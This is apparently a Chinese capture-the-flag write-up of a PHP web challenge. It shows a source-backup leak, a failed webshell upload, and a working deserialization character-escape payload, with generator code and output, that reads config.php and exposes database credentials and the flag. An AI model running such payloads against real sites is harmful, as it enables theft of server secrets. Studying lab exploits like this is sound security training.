username | password | 回顯 | 推斷 |
---|---|---|---|
admin | 123 | Invalid user name or password | |
admin' | 123 | Invalid user name or password | |
admin | 123' | Invalid user name or password | |
a | 123 | Invalid user name | 說明username是admin |
admin | 1 | Invalid password | 這很奇怪了 |
admin | 0 | 200 | ? |
admin | 1=1 | Invalid user name or password | |
admin | 1=0 | Invalid user name or password |
如果說出現Invalid user name or password是因為有過濾符號,但是為什么password等于1、123的結果不同呢?為什么password=0的時候回顯200?不是普通的布爾盲注,感覺得拿到源碼才知道其中邏輯。
利用bp掃描備份文件發現所有不存在的路徑都會重定向到Index.php,但是從長度可以看到www.zip文件是存在的。拿到了源代碼。
發現有login、register、update、profile功能,發現profile存在可利用輸出:
<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }$username = $_SESSION['username'];$profile=$user->show_profile($username);if($profile == null) {header('Location: update.php');}else {$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));
?><img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Hi <?php echo $nickname;?></h3><label>Phone: <?php echo $phone;?></label><label>Email: <?php echo $email;?></label>
有unserialize()但是class.php中沒有可利用的魔術方法。可以考慮$username二次注入和$photo文件讀取或者代碼注入。
public function show_profile($username) {$username = parent::filter($username);$where = "username = '$username'";$object = parent::select($this->table, $where);return $object->profile;}public function select($table, $where, $ret = '*') {$sql = "SELECT $ret FROM $table WHERE $where";$result = mysql_query($sql, $this->link);return mysql_fetch_object($result);}public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);//將單引號和反斜杠(因為字符串和正則表達式二次轉義)過濾$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);//select被過濾,sql注入基本用不了}
update.php:
<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {$username = $_SESSION['username'];if(!preg_match('/^\d{11}$/', $_POST['phone']))die('Invalid phone');if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');$file = $_FILES['photo'];if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';}else {
?>
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
對上傳的圖片沒有嚴格過濾,可能存在文件上傳漏洞。
上傳一句話木馬shell.php,然后文件位置為:upload/25a452927110e39a345a2511c57647f2
由于文件名被編碼,訪問該路徑服務器無法將其當作php代碼執行。
由于select被過濾sql注入用不了,對$photo文件名進行了md5編碼沒法進行文件上傳和文件讀取,對$photo文件內容進行base64編碼,也沒法進行代碼注入。看一下答案吧。
php反序列化中的字符逃逸。原因在于update.php將所有上傳內容進行序列化,然后在插入數據庫前進行了字符替換,會改變序列字符串長度。并且對nickname的長度過濾使用的是strlen($_POST['nickname']) > 10,能通過傳數組繞過。
如何進行字符逃逸呢?
首先我們的目標是利用$photo的文件名和file_get_contents()讀取config.php文件,但是文件名進行了md5編碼,所以需要利用字符逃逸構造$profile['photo']=config.php。
可以利用'where'替換為'Hacker'增加一個長度。從而在nickname中構造photo。
<?php
$profile = [];
echo "目標序列:\n";
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = 'hacker...';
$profile['photo'] = 'config.php';
echo serialize($profile)."\n";echo "替換前的序列:\n";
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = 'where...';
$profile['photo'] = 'upload/' . md5('1.jpg');
echo serialize($profile)."\n";// nickname需要以";s:5:"photo";s:10:"config.php";}結尾,并且讓他們逃逸出去
$end = '";s:5:"photo";s:10:"config.php";}';
$num = strlen($end); //33
$bengin = str_repeat('where', $num);
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = $bengin.$end;
$profile['photo'] = 'upload/' . md5('1.jpg');
echo "構造的序列:\n";
echo $string = serialize($profile)."\n";$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
$res = preg_replace($safe, 'hacker', $string);
echo "替換后的序列:\n";
echo $res."\n";
var_dump (unserialize($res))."\n";
echo "playload:\n";
echo $profile['nicname']."\n";
這是我構造playload的思路,先從目標序列、替換前的序列入手,再構造序列,最后驗證結果是否與目標序列一樣。
但是測試發現并不可以,update成功但是profile顯示所有信息都為空,這說明反序列化可能出了問題。
突然想到,我們上傳的時候nicname傳的是數組,會不會數組的序列字符串有特殊的地方?
修改一下類型然后重新生成目標序列:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"zzz999999@qq.com";s:7:"nicname";a:1:{i:0;s:9:"hacker...";}s:5:"photo";s:10:"config.php";}
果然,如果nickname是數組的話,有特殊格式。因此在字符逃逸的時候需要";}來閉合nicname。而不僅僅是"; 。重新構造playload:
<?php
$profile = [];
echo "目標序列:\n";
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = [];
$profile['nicname'][] = 'hacker...';
$profile['photo'] = 'config.php';
echo serialize($profile)."\n";echo "替換前的序列:\n";
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = [];
$profile['nicname'][] = 'where...';
$profile['photo'] = 'upload/' . md5('1.jpg');
echo serialize($profile)."\n";// nickname需要以";}s:5:"photo";s:10:"config.php";}結尾,并且讓他們逃逸出去
$end = '";}s:5:"photo";s:10:"config.php";}';
$num = strlen($end); //34
$bengin = str_repeat('where', $num);
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = [];
$profile['nicname'][] = $bengin.$end;
$profile['photo'] = 'upload/' . md5('1.jpg');
echo "構造的序列:\n";
echo $string = serialize($profile)."\n";$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
$res = preg_replace($safe, 'hacker', $string);
echo "替換后的序列:\n";
echo $res."\n";
echo "驗證正確性:\n";
var_dump (unserialize($res))."\n";
echo "playload:\n";
var_dump($profile['nicname']);
輸出是:
目標序列:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"zzz999999@qq.com";s:7:"nicname";a:1:{i:0;s:9:"hacker...";}s:5:"photo";s:10:"config.php";}
替換前的序列:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"zzz999999@qq.com";s:7:"nicname";a:1:{i:0;s:8:"where...";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}
構造的序列:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"zzz999999@qq.com";s:7:"nicname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}
替換后的序列:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"zzz999999@qq.com";s:7:"nicname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}array(4) {["phone"]=>string(11) "12345678901"["email"]=>string(16) "zzz999999@qq.com"["nicname"]=>array(1) {[0]=>string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"}["photo"]=>string(10) "config.php"
}
playload:
array(1) {[0]=>string(204) "wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}"
}
設置對update.php請求參數如上。然后訪問profile.php。
由于這邊圖片是config.php的base64編碼,所以無法解析成圖片。但是我們可以通過查看源碼看到
<img src="data:image/gif;base64,PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne2Y1YTNiNGVmLTQyNDQtNDcyOC04MTM0LWY5YmYzY2Y3NWNhY30nOwo/Pgo=" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Hi Array</h3>
解碼之后就能得到flag啦!
總結一下:感覺這道題目很棒,非常接近真實場景。代碼審計的時候要考慮很多種可能。唯一可惜的是沒有想到php反序列化字符逃逸。另外補充了一個知識,strlen()過濾可以通過傳入數組繞過。踩過的一個坑,php序列字符串中數組類型的數據是有大括號包裹的,因此逃逸的時候要注意閉合。